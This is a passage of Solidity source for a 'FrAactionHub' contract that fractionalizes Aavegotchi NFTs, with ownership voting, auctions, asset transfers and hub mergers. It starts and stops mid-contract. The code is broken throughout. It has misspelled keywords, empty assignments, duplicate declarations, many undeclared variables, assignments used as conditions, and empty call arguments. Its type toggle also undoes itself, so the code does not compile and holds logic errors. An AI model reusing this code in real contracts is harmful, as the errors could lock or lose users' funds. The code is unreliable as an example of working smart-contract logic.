// Address of the staking contract
address public constant stakingContract;
// Address of the REALMs contract
address public constant realmsContract;
// Address of the Raffles contract
address public constant rafflesContract;
// Address of the wrapped MATIC contract
address public constant wrappedMaticContract;
// Address of the FrAaction Gangs settings Contract
address public constant settingsContract = ;
// address of the parent FrAactionHub
address public demergeFrom;
// ============ Public Mutable Storage ============
// the governance contract which gets paid in ETH
address public settingsContract;
// FrAactionDAOMultisig address
address public fraactionDaoMultisig;
// FrAactionHall address
address public fraactionHall;
// target of the initial bid
address public fraactionHubTarget;
// contributor for the current staking decrease or increase;
address public stakingContributor;
// the current user winning the token auction
address public winning;
// the Player of the fractionalized Aavegotchi
address public player;
// addresses of all the FrAactionHub owners
address[] public ownersAddress;
// fee rewarded to the Player
uint256 public playerFee;
// the last timestamp when fees were claimed
uint256 public lastClaimed;
// the number of ownership tokens voting on the reserve price at any given time
uint256 public votingTokens;
// total GHST deposited by all contributors
uint256 public totalContributedToFraactionHub;
// Price in wei of the listed item targetted by the current funding round
uint256 public priceInWei;
// quantity of items to be acquired from the baazaar by the new funding round
uint256 public quantity;
// total votes for the election of the player
uint256 public votesTotalPlayer;
// total votes for the player fee update
uint256 public votesTotalFee;
// total votes for the auction length update
uint256 public votesTotalLength;
// total votes for the FrAactionHub type update
uint256 public votesTotalType;
// total GHST deposited by all contributors for the funding round
uint256 public totalContributedToFunding;
// last initial bid price submitted to the target FrAactionHub
uint256 public submittedBid;
// Number of assets acquired by the FrAactionHub
uint256 public numberOfAssets;
// Id of the portal to be claimed by the FrAactionHub
uint256 public portalTarget;
// option number of the appointed Aavegotchi to be claimed by the FrAactionHub
uint256 public portalOption;
// the unix timestamp end time of the token auction
uint256 public auctionEnd;
// the length of auctions
uint256 public auctionLength;
// reservePrice * votingTokens
uint256 public reserveTotal;
// the current price of the token during the final auction
uint256 public livePrice;
// listingId of the current funding round target
uint256 public listingId;
// Number of the FrAactionHub owners
uint256 public numberOfOwners;
// new funding round initial time
uint256 public fundingTime;
// Aavegotchi funding round initial time
uint256 public aavegotchiFundingTime;
// maximum collateral contribution allowed for the Aavegotchi funding
uint256 public maxContribution;
// collateral type of the appointed Aavegotchi
uint256 public collateralType;
// current collateral balance of the targeted Aavegotchi for the stake increase or decrease
uint256 public collateralBalance;
// current tokenId of the targeted Aavegotchi for the stake increase or decrease
uint256 public stakingTarget;
// array of the proposed auction lengths for the vote
uint256[] public votedLength;
// array of the proposed player fees for the vote
uint256[] public votedFee;
// 0 is for Delegated FrAactionHub, 1 for Collective FrAactionHub
bool public gameType;
// true if the new funding round is targetting an NFT
bool public isNft;
// true if there is currently at least one destroyed Aavegotchi tokens to be claimed
bool public destroyed;
// true if all the funding rounds contributors claimed their tokens
bool public allClaimed;
// true if the first FrAactionHub funding round is currently active
bool public firstRound;
// true if the FrAactionHub successfully fractionalized its first NFT or item
bool public initialized;
// proposed auction length => collected votes in favor of that auction length
mapping (uint256 => uint256) public votesLength;
// proposed player's fee => collected votes in favor of that player's fee
mapping (uint256 => uint256) public votesFee;
// portal tokenId => appointed Aavegotchi
mapping (uint256 => uint256) public aavegotchi;
// tokenId => total votes for the Aavegotchi destruction
mapping (uint256 => uint256) public votesTotalDestroy;
// tokenId => total votes for the Aavegotchi
mapping (uint256 => uint256) public votesTotalAavegotchi;
// tokenId => total votes for the Aavegotchi name
mapping (uint256 => uint256) public votesTotalName;
// tokenId => total votes for the Aavegotchi skill points allocation
mapping (uint256 => uint256) public votesTotalSkill;
// tokenId => total votes collected to open this closed portal
mapping(uint256 => uint256) public votesTotalOpen;
// tokenId => index of asset
mapping(uint256 => uint256) public tokenIdToAssetIndex;
// portal Id => total contributed for the Aavegotchi portal funding
mapping(uint256 => uint256) public totalContributedToAavegotchiFunding;
// tokenId => winning Aavegotchi name
mapping (uint256 => string) public name;
// FrAactionHub owner => votes he collected to become the appointed Player
mapping(address => uint256) public votesPlayer;
// contributor => total amount contributed to the FrAactionHub
mapping(address => uint256) public ownerTotalContributed;
// contributor => array of Contributions
mapping(address => Contribution[]) public contributions;
// FrAactionHub owner => his desired token price
mapping(address => uint256) public userPrices;
// FrAactionHub owner => return True if owner already voted for the appointed player
mapping(address => bool) public votersPlayer;
// FrAactionHub owner => return True if owner already voted for the new Player's fee
mapping(address => bool) public votersFee;
// FrAactionHub owner => return True if owner already voted for the new auction length
mapping(address => bool) public votersLength;
// FrAactionHub owner => return True if owner already voted for the new FrAactionHub type
mapping(address => bool) public votersType;
// FrAactionHub owner => return True if owner already voted for the Aavegotchi
mapping(address => bool) public votersAavegotchi;
// contributor => true if the contributor already claimed its tokens from the funding round
mapping(address => bool) public claimed;
// tokenId => true if there is currently a vote for allocating skill points
mapping(uint256 => bool) public skillVoting;
// owner => tokenId => true if alredy voted, false if not
mapping(address => mapping(uint256 => bool)) public votersOpen;
// contributor => tokenId => true if contributor already voted for that Aavegotchi destruction
mapping(address => mapping(uint256 => bool)) public votersDestroy;
// contributor => tokenId => true if contributor already voted for that Aavegotchi
mapping(address => mapping(uint256 => bool)) public votersAavegotchi;
// owner => tokenId => current votes for opening the portal
mapping(address => mapping(uint256 => uint256)) public currentOpenBalance;
// contributor => tokenId => total staking contribution for the considered Aavegotchi
mapping(address => mapping(uint256 => uint256)) public ownerTotalStakeAmount;
// tokenId => portal option => current votes for this portal option
mapping(uint256 => mapping(uint256 => uint256)) public votesAavegotchi;
// tokenId => skill points set => current votes for this skill points set
mapping(uint256 => mapping(uint256 => uint256)) public votesSkill;
// tokenId => Aavegotchi name => current votes for this name
mapping(uint256 => mapping(string => uint256)) public votesName;
// Array of Assets acquired by the FrAactionHub
Asset[] public assets;
// ============ Structs ============
struct Contribution {
uint256 amount;
uint256 previousTotalContributedToFraactionHub;
}
// ============ EVENTS ============
// an event emitted when a user updates their price
event PriceUpdate(
address indexed user,
uint price
);
// an event emitted when an auction starts
event Start(
address indexed buyer,
uint price
);
// an event emitted when a bid is made
event Bid(
ddress indexed buyer,
uint price
);
// an event emitted when an auction is won
event Won(
address indexed buyer,
uint price
);
// an event emitted when someone cashes in ERC20 tokens for ETH from an ERC721 token sale
event Cash(
address indexed owner,
uint256 shares
);
// an event emitted when the assets merger is finalized
event AssetsMerged(address indexed _mergerTarget);
// an event emitted when the merger is finalized
event MergerFinalized(address indexed _mergerTarget);
// an event emitted when the demerger is done
event Demerged(address indexed proxyAddress, string name, string symbol);
// an event emitted when the Player is appointed or changed
event AppointedPlayer(address indexed appointedPlayer);
// an event emitted when the auction length is changed
event UpdateAuctionLength(uint256 indexed newLength);
// an event emitted when the Player fee is changed
event UpdatePlayerFee(uint256 indexed newFee);
// an event emitted when the FrAaction type is changed
event UpdateFraactionType(string indexed newGameType);
// an event emitted when somebody redeemed all the FrAactionHub tokens
event Redeem(address indexed redeemer);
// an event emitted when an Aavegotchi is appointed to be summoned
event AppointedAavegotchi(uint256 indexed portalTokenId, uint256 appointedAavegotchiOption);
// an event emitted when a portal is open
event OpenPortal(uint256 indexed portalId);
// an event emitted when an Aavegotchi is destroyed
event Destroy(uint256 indexed tokenId);
// an event emitted when an Aavegotchi name is chosen
event Named(uint256 indexed tokenId, string name);
// an event emitted when an Aavegotchi skill points set is submitted
event SkilledUp(uint256 indexed tokenId, uint256 tokenId);
// an event emitted when wearables are equipped on an Aavegotchi
event Equipped(uint256 indexed tokenId, uint16[16] wearables);
// an event emitted when consumables are used on one or several Aavegotchis
event ConsumablesUsed(uint256 indexed tokenId, uint256[] itemIds, uint256[] quantities);
function initializeVault(uint256 _supply, uint256 _listPrice, string memory _name, string memory _symbol) internal initializer {
// initialize inherited contracts
__ERC20_init(_name, _symbol);
reserveTotal = _listPrice * _supply;
lastClaimed = block.timestamp;
votingTokens = _listPrice == 0 ? 0 : _supply;
_mint(address(this), _supply);
userPrices[address(this)] = _listPrice;
initialized = true;
}
// ============ VIEW FUNCTIONS ============
function getOwners() public view returns (address[] memory) {
return ownersAddress;
}
/// @notice provide the current reserve price of the FrAactionHub
function reservePrice() public view returns(uint256) {
return votingTokens == 0 ? 0 : reserveTotal / votingTokens;
}
/// @notice provide the current reserve price of the FrAactionHub
function fundingPrice() public view returns(uint256) {
return votingTokens == 0 ? 0 : fundingTotal / votingTokens;
}
/// @notice inform if the bid is open (return true) or not (return false)
function openForBidOrMerger() public view returns(bool) {
return votingTokens * 1000 >= ISettings(settings).minVotePercentage() * totalSupply() ? true : false;
}
/// @notice inform if the bid is open (return true) or not (return false)
function activeBid() public view returns(bool) {
return finalAuctionStatus != FinalAuctionStatus.INACTIVE ? true : false;
}
/// @notice provide minimum amount to bid during the auction
function minBid() public view returns(uint256) {
uint256 increase = ISettings(settingsContract).minBidIncrease() + 1000;
return livePrice * increase / 1000;
}
// ========= GOV FUNCTIONS =========
/// @notice allow governance to boot a bad actor Player
/// @param _Player the new Player
function kickPlayer(address _player) external {
require(
msg.sender == ISettings(settingsContract).owner(),
"kick: not gov"
);
player = _player;
}
/// @notice allow governance to remove bad reserve prices
function removeReserve(address _user) external {
require(
msg.sender == ISettings(settingsContract).owner(),
"remove: not gov"
);
require(
auctionStatus == AuctionsStatus.INACTIVE,
"remove: auction live cannot update price"
);
uint256 old = userPrices[_user];
require(
0 != old,
"remove: not an update"
);
uint256 weight = balanceOf(_user);
votingTokens -= weight;
reserveTotal -= weight * old;
userPrices[_user] = 0;
emit PriceUpdate(_user, 0);
}
// ============ SETTINGS & FEES FUNCTIONS ============
/// @notice allow the FrAactionHub owners to change the FrAactionHub type
function changeFraactionType() external {
require(
initialized == true,
"updateFraactionType: FrAactionHub not initialized yet"
);
require(
balanceOf(msg.sender) > 0,
"updateFraactionType: user not an owner of the FrAactionHub"
);
require(
gangAddress != address(0),
"updateFraactionType: cannot change the Collective type if the FraactionHub is part of a gang"
);
if (typeNumber != typeCurrentNumber[msg.sender]) {
votersType[msg.sender] = 0;
currentTypeBalance[msg.sender] = 0;
}
if (votersType[msg.sender] == true) {
votesTotalType -= currentTypeBalance[msg.sender];
} else {
votersType[msg.sender] = true;
}
votesTotalType += balanceOf(msg.sender);
currentTypeBalance[msg.sender] = balanceOf(msg.sender);
if (typeNumber != typeCurrentNumber[msg.sender]) typeCurrentNumber[msg.sender] = typeNumber;
if (votesTotalType * 1000 >= ISettings(settingsContract).minTypeVotePercentage() * totalSupply()) {
// 0 is for Delegated FrAactionHub, 1 for Collective FrAactionHub
if (gameType == 0) gameType = 1;
if (gameType == 1) gameType = 0;
emit UpdateFraactionType(gameType);
typeNumber++;
votesTotalType = 0;
}
}
/// @notice allow the FrAactionHub owners to update the auction length
/// @param _length the new maximum length of the auction
function updateAuctionLength(uint256 _length) external {
require(
initialized == true,
"updateAuctionLength: FrAactionHub not initialized yet"
);
require(
balanceOf(msg.sender) > 0,
"updateAuctionLength: user not an owner of the FrAactionHub"
);
require(
_length >= ISettings(settingsContract).minAuctionLength() && _length <= ISettings(settings).maxAuctionLength(),
"updateAuctionLength: invalid auction length"
);
if (lengthNumber != lengthCurrentNumber[msg.sender]) {
votersLength[msg.sender] = 0;
currentLengthVote[msg.sender] = 0;
currentLengthBalance[msg.sender] = 0;
}
if (votersLength[msg.sender] == true) {
votesLength[currentLengthVote[msg.sender]] -= currentLengthBalance[msg.sender];
votesTotalLength -= currentLengthBalance[msg.sender];
} else {
votersLength[msg.sender] = true;
}
if (votesLength[_length] == 0) votedLength.push(_length);
votesLength[_length] += balanceOf(msg.sender);
votesTotalLength += balanceOf(msg.sender);
currentLengthVote[msg.sender] = _length;
currentLengthBalance[msg.sender] = balanceOf(msg.sender);
if (lengthNumber != lengthCurrentNumber[msg.sender]) lengthCurrentNumber[msg.sender] = lengthNumber;
uint256 winner;
uint256 result;
if (votesTotalLength * 1000 >= ISettings(settingsContract).minLengthVotePercentage() * totalSupply()) {
for (uint i = 0; i < votedLength.length; i++) {
if (votesLength[votedLength[i]] > result) {
result = votesLength[votedLength[i]];
winner = votedLength[i];
}
votesLength[votedLength[i]] = 0;
}
auctionLength = winner;
delete votedLength;
emit UpdateAuctionLength(auctionLength);
lengthNumber++;
votesTotalLength = 0;
}
}
/// @notice allow the FrAactionHub owners to change the player fee
/// @param _fee the new fee
function updatePlayerFee(uint256 _playerFee) external {
require(
gameType == 0,
"updatePlayerFee: this FrAactionHub was set as Collective by its creator"
);
require(
_playerFee <= ISettings(settingsContract).maxPlayerFee(),
"updatePlayerFee: cannot increase fee this high"
);
require(
initialized == true,
"updatePlayerFee: FrAactionHub not initialized yet"
);
require(
balanceOf(msg.sender) > 0,
"updatePlayerFee: user not an owner of the FrAactionHub"
);
if (feeNumber != feeCurrentNumber[msg.sender]) {
votersFee[msg.sender] = 0;
currentFeeVote[msg.sender] = 0;
currentFeeBalance[msg.sender] = 0;
}
if (votersFee[msg.sender] == true) {
votesFee[currentFeeVote[msg.sender]] -= currentFeeBalance[msg.sender];
votesTotalFee -= currentFeeBalance[msg.sender];
} else {
votersFee[msg.sender] = true;
}
if (votesFee[_playerFee] == 0) votedFee.push(_playerFee);
votesFee[_playerFee] += balanceOf(msg.sender);
votesTotalFee += balanceOf(msg.sender);
currentFeeVote[msg.sender] = _playerFee;
currentFeeBalance[msg.sender] = balanceOf(msg.sender);
if (feeNumber != feeCurrentNumber[msg.sender]) feeCurrentNumber[msg.sender] = feeNumber;
if (votesTotalFee * 1000 >= ISettings(settingsContract).minPlayerFeeVotePercentage() * totalSupply()) {
for (uint i = 0; i < votedFee.length; i++) {
if (votesFee[votedFee[i]] > result) {
result = votesFee[votedFee[i]];
winner = votedFee[i];
}
votesFee[votedFee[i]] = 0;
}
playerFee = winner;
delete votedFee;
emit UpdatePlayerFee(playerFee);
feeNumber++;
votesTotalFee = 0;
}
}
// ========= CORE FUNCTIONS ============
function voteForTransfer(
uint256[] calldata _nftsId,
uint256[] calldata _extNftsId,
uint256[] calldata _ext1155Id,
uint256[] calldata _realmsId,
uint256[] calldata _itemsId,
uint256[] calldata _itemsQuantity,
uint256[] calldata _extErc20Value,
uint256[] calldata _ext1155Quantity,
uint256[7] calldata _ticketsQuantity,
address[] calldata _extErc20Address,
address[] calldata _extNftsAddress,
address[] calldata _ext1155Address,
uint256 _idToVoteFor,
address _transferTo
) external nonReentrant {
require(
demergerStatus == DemergerStatus.INACTIVE,
"voteForTransfer: transfer already active"
);
require(
balanceOf(msg.sender) > 0,
"voteForTransfer: caller not an owner of the FrAactionHub"
);
require(
_itemsId.length == _itemsQuantity.length &&
_extNftsId.length == _extNftsAddress.length &&
_ext1155Id.length == _ext1155Address.length &&
_ext1155Address.length == _ext1155Quantity.length &&,
"voteForTransfer: input arrays lengths are not matching"
);
require(
_nftsId.length +
_realmsId.length +
_itemsId.length +
_itemsQuantity.length +
_ticketsQuantity.length +
_extNftsId.length +
_extNftsAddress.length +
_ext1155Id.length +
_ext1155Quantity.length +
_ext1155Address.length +
=< ISettings(settingsContract).MaxTransferLimit(),
"voteForTransfer: cannot transfer more than the GovSettings allowed limit"
);
if (_nftsId.length > 0 ||
_realmsId.length > 0 ||
_itemsId.length > 0 ||
_ticketsId.length > 0 ||
_extNftsId.length > 0 ||
_ext1155Id.length > 0
) {
require(
_idToVoteFor == votedIndex,
"voteForTransfer: user submitting a new demerger has to vote for it"
);
require(
_transferTo != address(0),
"voteForTransfer: address to transfer to cannot be zero"
);
ownershipCheck(
_nftsId,
_realmsId,
_itemsId,
_itemsQuantity,
_ticketsQuantity,
true
);
ownershipCheckExt(
_extNftsId,
_ext1155Id,
_extErc20Value,
_ext1155Quantity,
_extErc20Address,
_extNftsAddress,
_ext1155Address,
true
);
votedIndex++;
transferTo[_idToVoteFor] = _transferTo;
}
if (votersTransfer[msg.sender][_idToVoteFor] == true) {
if (balanceOf(msg.sender) != currentTransferBalance[msg.sender][_idToVoteFor])
votesTotalTransfer[_idToVoteFor] -= currentTransferBalance[msg.sender][_idToVoteFor];
} else {
votersTransfer[msg.sender][_idToVoteFor] = true;
}
if (balanceOf(msg.sender) != currentTransferBalance[msg.sender][_idToVoteFor]) {
votesTotalTransfer[_idToVoteFor] += balanceOf(msg.sender);
currentTransferBalance[msg.sender][_idToVoteFor] = balanceOf(msg.sender);
}
if (votesTotalTransfer[_idToVoteFor] * 1000 >= ISettings(settingsContract).minTransferVotePercentage() * totalSupply()) {
if (demergerStatus != DemergerStatus.ACTIVE) {
ownershipCheck(
_nftsId,
_realmsId,
_itemsId,
_itemsQuantity,
_ticketsQuantity,
true
);
ownershipCheckExt(
_extNftsId,
_ext1155Id,
_extErc20Value,
_ext1155Quantity,
_extErc20Address,
_extNftsAddress,
_ext1155Address,
true
);
demergerStatus = DemergerStatus.ACTIVE;
votedIndex = _idToVoteFor;
target = transferTo[_idToVoteFor];
emit TransferActive(target);
}
if (!realmsTransferred || split = 1) {
transferRealms();
if (split == 0) realmsTransferred = true;
} else if (!nftsTransferred || split = 2) {
transferNfts();
if (split == 0) nftsTransferred = true;
} else if (!itemsTransferred || split = 3) {
transferItems();
if (split == 0) itemsTransferred = true;
} else if (!extNftsTransferred || split = 4) {
transferExternalNfts();
if (split == 0) extNftsTransferred = true;
} else if (!ext1155Transferred || split = 5) {
transferExternal1155();
if (split == 0) ext1155Transferred = true;
} else if (!extErc20Transferred || split = 6) {
transferExternalErc20();
if (split == 0) extErc20Transferred = true;
} else {
demergerStatus = DemergerStatus.INACTIVE;
realmsTransferred = false;
nftsTransferred = false;
itemsTransferred = false;
extNftsTransferred = false;
ext1155Transferred = false;
extErc20Transferred = false;
DemergerAssetsTransferred(address(this));
}
claimReward(msg.sender);
}
}
function confirmFinalizedMerger() external {
require(
msg.sender == target,
"confirmFinalizedMerger: sender is not the merger target"
);
require(
mergerStatus == MergerStatus.ACTIVE,
"confirmFinalizedMerger: merger not active"
);
delete initiatedMergerFrom[target];
delete votesTotalMerger[target];
delete targetReserveTotal[target];
delete proposedMergerTo[target];
delete proposedValuation;
delete proposedValuationFrom;
if (!takeover) {
if (erc20Tokens.length + nfts.length + erc1155Tokens.length > maxExtTokensLength) {
mergerStatus = MergerStatus.DELETINGTOKENS;
} else {
delete erc20Tokens;
delete nfts;
delete erc1155Tokens;
mergerStatus = MergerStatus.ENDED;
}
}
}
function initiateMergerFrom(uint256 _proposedValuation, bool _proposedTakeover) external {
require(
ISettings(settingsContract).fraactionHubRegistry(msg.sender) > 0,
"initiateMergerFrom: not a registered FrAactionHub contract"
);
require(
mergerStatus == MergerStatus.INACTIVE,
"initiateMergerFrom: caller not an owner of the FrAactionHub"
);
initiatedMergerFrom[msg.sender] = true;
proposedValuationFrom[msg.sender] = _proposedValuation;
proposedTakeoverFrom[msg.sender] = _proposedTakeover;
timeMerger[msg.sender] = block.timestamp;
endMerger[msg.sender] = timeMerger[msg.sender] + ISettings(settingsContract).minMergerTime();
emit MergerProposed(msg.sender, _proposedValuation, _proposedTakeover);
}
function confirmMerger() external {
require(
msg.sender == target,
"confirmMerger: caller not the merger target"
);
merging = true;
emit confirmedMerger(msg.sender);
}
function confirmAssetsTransferred() external {
require(
msg.sender == target,
"confirmAssetsTransferred caller not the merger target"
);
mergerStatus = MergerStatus.ASSETSTRANSFERRED;
emit MergerAssetsTransferred(msg.sender);
}
function initiateMergerTo(uint256 _proposedValuation, bool _proposedTakeover) external {
require(
ISettings(settingsContract).fraactionHubRegistry(msg.sender) > 0,
"initiateMergerTo: not a registered FrAactionHub contract"
);
require(
mergerStatus == MergerStatus.INACTIVE,
"initiateMergerTo: caller not an owner of the FrAactionHub"
);
proposedMergerFrom[msg.sender] = true;
proposedValuationFrom[msg.sender] = _proposedValuation;
proposedTakeoverFrom[msg.sender] = _proposedTakeover;
timeMerger[msg.sender] = block.timestamp;
endMerger[msg.sender] = timeMerger[msg.sender] + ISettings(settingsContract).minMergerTime();
emit MergerProposedTo(msg.sender, _proposedValuation, _proposedTakeover);
}
function voteForMerger(
bool _proposeMergerTo,
bool _proposeTakeover,
uint256 _proposeValuation,
address _mergerTarget
) external nonReentrant {
require(
fundingStatus == FundingStatus.INACTIVE,
"voteForMerger: FrAactionHub not fractionalized yet"
);
require(
ISettings(settingsContract).fraactionHubRegistry(_mergerTarget) > 0,
"voteForMerger: not a registered FrAactionHub contract"
);
require(
balanceOf(msg.sender) > 0 ||
FraactionInterface(target).balanceOf(msg.sender) > 0,
"voteForMerger: user not an owner of the FrAactionHub"
);
require(
_extNftsId.length == _extNftsAddress.length &&
_extErc20Address.length == _extErc20Value.length &&
_ext1155Id.length == _ext1155Quantity.length &&
_ext1155Quantity.length == _ext1155Address.length,
"voteForMerger: each token ID or value needs a corresponding token address"
);
if (merging == false) {
if (timeMerger[_mergerTarget] > mergerEnd[_mergerTarget]) {
timeMerger[_mergerTarget] = 0;
mergerEnd[_mergerTarget] = 0;
if (initiatedMergerFrom[_mergerTarget] && mergerStatus == MergerStatus.INACTIVE) {
delete initiatiedMergerFrom[_mergerTarget];
} else if (proposedMergerTo[_mergerTarget] && mergerStatus == MergerStatus.ACTIVE) {
mergerStatus = MergerStatus.INACTIVE;
delete proposedMergerTo[_mergerTarget];
} else if (proposedMergerFrom[_mergerTarget] && mergerStatus == MergerStatus.INACTIVE) {
delete proposedMergerFrom[_mergerTarget];
} else {
delete initiatedMergerTo[_mergerTarget];
mergerStatus = MergerStatus.INACTIVE;
}
delete targetReserveTotal[_mergerTarget];
delete votesTotalMerger[_mergerTarget];
return;
}
if (_proposeMergerTo) proposedMergerTo[_mergerTarget] = true;
if (targetReserveTotal[_mergerTarget] == 0) {
require(
FraactionInterface(_mergerTarget).openForBidOrMerger(),
"voteForMerger: FrAactionHub not open for Merger or Bid"
);
if (!proposedMergerFrom[_mergetTarget] && !initiatedMergerFrom[_mergetTarget]) proposedTakeover[_mergerTarget] = _proposeTakeover;
if (_proposeValuation == 0 && !proposedValuationFrom[_mergerTarget]
|| proposedValuationFrom[_mergerTarget]
) {
targetReserveTotal[_mergerTarget] = FraactionInterface(_mergerTarget).reserveTotal();
} else {
targetReserveTotal[_mergerTarget] = _proposeValuation;
proposedValuation[_mergerTarget] = true;
}
bool checkType = FraactionInterface(_mergerTarget).checkExitTokenType();
if (exitInGhst == checkType) sameReserveCurrency[_mergerTarget] = checkType;
}
if (votersMerger[msg.sender][_mergerTarget] == true) {
if (balanceOf(msg.sender) != currentMergerBalance[msg.sender][_mergerTarget])
votesTotalMerger[_mergerTarget] -= currentMergerBalance[msg.sender][_mergerTarget];
} else {
votersMerger[msg.sender][_mergerTarget] = true;
}
if (balanceOf(msg.sender) != currentMergerBalance[msg.sender][_mergerTarget]) {
votesTotalMerger[_mergerTarget] += balanceOf(msg.sender);
currentMergerBalance[msg.sender][_mergerTarget] = balanceOf(msg.sender);
}
}
if (votesTotalMerger[_mergerTarget] * 1000 >= ISettings(settingsContract).minMergerVotePercentage() * totalSupply()) {
if (initiatedMergerFrom[_mergerTarget] == true) {
if (!proposedMergerTo[_mergerTarget] && mergerStatus == MergerStatus.INACTIVE) {
target = _mergerTarget;
mergerStatus = MergerStatus.ACTIVE;
merging = true;
FraactionInterface(target).confirmMerger();
emit MergerInitiated(_mergerTarget);
}
uint256[] memory realmsId = DiamondInterface(realmsContract).tokenIdsOfOwner(address(this));
uint32[] memory nftsId = DiamondInterface(diamondContract).tokenIdsOfOwner(address(this));
ItemIdIO[] memory itemsDiamond = DiamondInterface(diamondContract).itemBalances(address(this));
uint256[] memory itemsStaking = DiamondInterface(stakingContract).balanceOfAll(address(this));
bool checkTickets;
for (uint i = 0; i < itemsStaking.length; i++) {
if (itemsStaking[i] != 0) {
checkTickets = true;
break;
}
}
if (realmsId.length > 0 && split == 0 || split == 1) {
transferRealms();
} else if (nftsId.length > 0 && split == 0 || split == 2) {
transferNfts();
} else if (
itemsDiamond.length > 0 && split == 0 ||
split == 3 ||
checkTickets == true
)
{
transferItems();
} else if (!extNftsTransferred || split = 4) {
transferExternalNfts();
if (split == 0) extNftsTransferred = true;
} else if (!ext1155Transferred || split = 5) {
transferExternal1155();
if (split == 0) ext1155Transferred = true;
} else if (!extErc20Transferred || split = 6) {
transferExternalErc20();
if (split == 0) extErc20Transferred = true;
} else {
extNftsTransferred = false;
ext1155Transferred = false;
extErc20Transferred = false;
if (totalTreasuryInGhst > 0) ERC20lib.transferFrom(ghstContract, address(this), target, totalTreasuryInGhst);
if (totalTreasuryInMatic > 0) transferMaticOrWmatic(target, totalTreasuryInMatic);
totalTreasuryInGhst = 0;
totalTreasuryInMatic = 0;
uint256 bal = ERC20Upgradeable(ghstContract).balanceOf(address(this));
residualGhst = bal - currentBalanceInGhst;
residualMatic = address(this).balance - currentBalanceInMatic;
if (exitInGhst) {
redeemedCollateral[ghstContract].push(residualGhst);
if (collateralToRedeem[ghstContract] == 0) {
collateralToRedeem[ghstContract] = true;
collateralAvailable.push(ghstContract);
}
} else {
redeemedCollateral[thisContract].push(residualMatic);
if (collateralToRedeem[thisContract] == 0) {
collateralToRedeem[thisContract] = true;
collateralAvailable.push(thisContract);
}
}
mergerStatus == MergerStatus.ASSETSTRANSFERRED;
totalNumberExtAssets = nonTransferredAssets;
nonTransferredAssets = 0;
FraactionInterface(target).confirmAssetsTransferred();
emit MergerAssetsTransferred(address(this));
}
claimReward(msg.sender);
} else if (proposedMergerTo[_mergerTarget]) {
target = _mergerTarget;
mergerStatus = MergerStatus.ACTIVE;
timeMerger[target] = block.timestamp;
endMerger[target] = timeMerger[target] + ISettings(settingsContract).minMergerTime();
merging = true;
if (proposedValuation[target]) {
FraactionInterface(target).initiateMergerTo(targetReserveTotal[target], proposedTakeover[target]);
} else {
FraactionInterface(target).initiateMergerTo(, proposedTakeover[target]);
}
emit MergerInitiatedTo(target);
} else {
target = _mergerTarget;
mergerStatus = MergerStatus.ACTIVE;
uint256 takeover = proposedTakeover[target] ? true : proposedTakeoverFrom[target];
if (proposedValuation[target]) {
FraactionInterface(target).initiateMergerFrom(targetReserveTotal[target], takeover);
} else {
FraactionInterface(target).initiateMergerFrom(, takeover);
}
timeMerger[target] = block.timestamp;
endMerger[target] = timeMerger[target] + ISettings(settingsContract).minMergerTime();
delete votesTotalMerger[_mergerTarget];
emit MergerInitiated(target);
}
}
}
function finalizeMerger() external nonReentrant {
require(
mergerStatus == MergerStatus.ASSETSTRANSFERRED,
"finalizeMerger: items not transferred yet"
);
require(
balanceOf(msg.sender) > 0 ||
FraactionInterface(target).balanceOf(msg.sender) > 0,
"finalizeMerger: user not an owner of the FrAactionHub"
);
address[] memory ownersFrom = FraactionInterface(target).getOwners();
uint256 startIndex = 0;
uint256 endIndex = ownersFrom.length;
if (split == 0) {
maxOwnersArrayLength = ISettings(settingsContract).maxOwnersArrayLength();
uint256 agreedReserveTotal;
uint256 agreedReserveTotalFrom;
if (proposedValuationFrom[target]) {
agreedReserveTotalFrom = targetReserveTotal[target];
agreedReserveTotal = proposedValuationFrom[target];
} else {
agreedReserveTotalFrom = targetReserveTotal[target];
agreedReserveTotal = FraactionInterface(target).targetReserveTotal(address(this));
}
if (sameReserveCurrency[target]) {
newShareFrom = totalSupply() * agreedReserveTotalFrom / agreedReserveTotal;
} else {
if (exitInGhst) {
newShareFrom = totalSupply() * (agreedReserveTotalFrom * (ISettings(settingsContract).convertFundingPrice(1) / 10**8)) / agreedReserveTotal;
} else {
newShareFrom = totalSupply() * (agreedReserveTotalFrom * (ISettings(settingsContract).convertFundingPrice(0) / 10**8)) / agreedReserveTotal;
}
}
if (ownersFrom.length > maxOwnersArrayLength) {
if (ownersFrom.length % maxOwnersArrayLength > 0) {
multiple = ownersFrom.length / maxOwnersArrayLength + 1;
} else {
multiple = ownersFrom.length / maxOwnersArrayLength;
}
split = 7;
splitCounter++;
}
endIndex = maxOwnersArrayLength;
} else {
if (ownersFrom.length % maxOwnersArrayLength > 0 && splitCounter == multiple - 1) {
startIndex = splitCounter * maxOwnersArrayLength + 1;
endIndex = ownersFrom.length;
} else {
startIndex = splitCounter * maxOwnersArrayLength + 1;
endIndex = (splitCounter + 1) * maxOwnersArrayLength;
}
splitCounter++;
}
bool existing;
if (splitCounter == multiple) {
if (split > 0) {
split = 0;
splitCounter = 0;
multiple = 0;
}
merging = false;
totalTreasuryInGhst += FraactionInterface(target).totalTreasuryInGhst();
totalTreasuryInMatic += FraactionInterface(target).totalTreasuryInMatic();
FraactionInterface(target).confirmFinalizedMerger();
delete initiatedMergerTo[target];
delete proposedMergerFrom[target];
delete targetReserveTotal[target];
delete proposedTakeoverFrom;
delete proposedValuation;
delete proposedValuationFrom;
mergerStatus = MergerStatus.INACTIVE;
emit MergerFinalized(target);
}
if (endIndex > ownersFrom.length) endIndex = ownersFrom.length;
if (startIndex > ownersFrom.length) return;
uint256 tokenSupplyFrom = FraactionInterface(target).totalSupply();
for (uint i = startIndex; i < endIndex; i++) {
for (uint j = 0; j < ownersAddress.length; j++) {
if (ownersFrom[i] == ownersAddress[j]) {
existing = true;
}
}
if (existing == false) ownersAddress.push(ownersFrom[i]);
mint(
ownersFrom[i],
newShareFrom * FraactionInterface(target).balanceOf(ownersFrom[i]) / tokenSupplyFrom
);
}
claimReward(msg.sender);
}
function transferRealms() internal {
uint256 arrayLength;
if (demergerStatus == DemergerStatus.ACTIVE) {
arrayLength = votedRealms[votedIndexRealms[votedIndex].length;
} else {
arrayLength = DiamondInterface(realmsContract).tokenIdsOfOwner(address(this)).length;
}
uint256[] memory realmsId = new uint256[](arrayLength);
if (demergerStatus == DemergerStatus.ACTIVE) {
realmsId = votedRealms[votedIndexRealms[votedIndex]];
} else {
realmsId = DiamondInterface(realmsContract).tokenIdsOfOwner(address(this));
}
uint256 startIndex;
uint256 endIndex = realmsId.length;
if (split == 0) {
maxRealmsArrayLength = ISettings(settingsContract).maxRealmsArrayLength();
if (realmsId.length > maxRealmsArrayLength) {
